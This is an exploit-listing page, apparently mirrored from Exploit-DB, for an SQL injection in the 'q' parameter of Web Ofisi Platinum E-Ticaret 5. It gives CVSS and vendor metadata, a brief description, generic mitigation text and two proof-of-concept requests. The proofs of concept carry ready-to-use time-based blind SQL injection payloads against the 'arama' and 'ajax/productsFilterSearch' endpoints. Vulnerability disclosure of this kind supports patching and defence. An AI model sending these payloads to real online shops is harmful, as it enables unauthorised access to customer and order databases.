header-logo
Suggest Exploit
vendor:
Platinum E-Ticaret v5
by:
Ahmet Ümit BAYRAM
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Platinum E-Ticaret v5
Affected Version From: v5
Affected Version To: v5
Patch Exists: NO
Related CWE: N/A
CPE: a:web_ofisi:platinum_e-ticaret_v5
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: Kali Linux
2019

Web Ofisi Platinum E-Ticaret 5 – ‘q’ SQL Injection

Web Ofisi Platinum E-Ticaret 5 is prone to an SQL injection vulnerability due to improper sanitization of user-supplied input to the 'q' parameter in the 'arama' and 'ajax/productsFilterSearch' scripts. An attacker can exploit this vulnerability to inject arbitrary SQL commands and gain access to sensitive information in the back-end database.

Mitigation:

Input validation should be used to ensure that untrusted data is not allowed into the system. All input data should be validated and filtered for malicious content. Sanitization should be used to ensure that any data that is allowed into the system is safe.
Source

Exploit-DB raw data:

# Exploit Title: Web Ofisi Platinum E-Ticaret 5 - 'q' SQL Injection
# Date: 2019-07-19
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://www.web-ofisi.com/detay/platinum-e-ticaret-v5.html
# Demo Site: http://demobul.net/eticaretv5/
# Version: v5
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/arama?kategori=&q=
Vulnerable Parameter: q (GET)
Payload: 0'XOR(if(now()=sysdate(),sleep(0),0))XOR'Z

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/ajax/productsFilterSearch
Vulnerable Parameter: q (POST)
Payload:
kategori=&pageType=arama&q=0'XOR(if(now()=sysdate()%2Csleep(0)%2C0))XOR'Z&sayfa=1

Navigation

Suggest Exploit

Services By CQR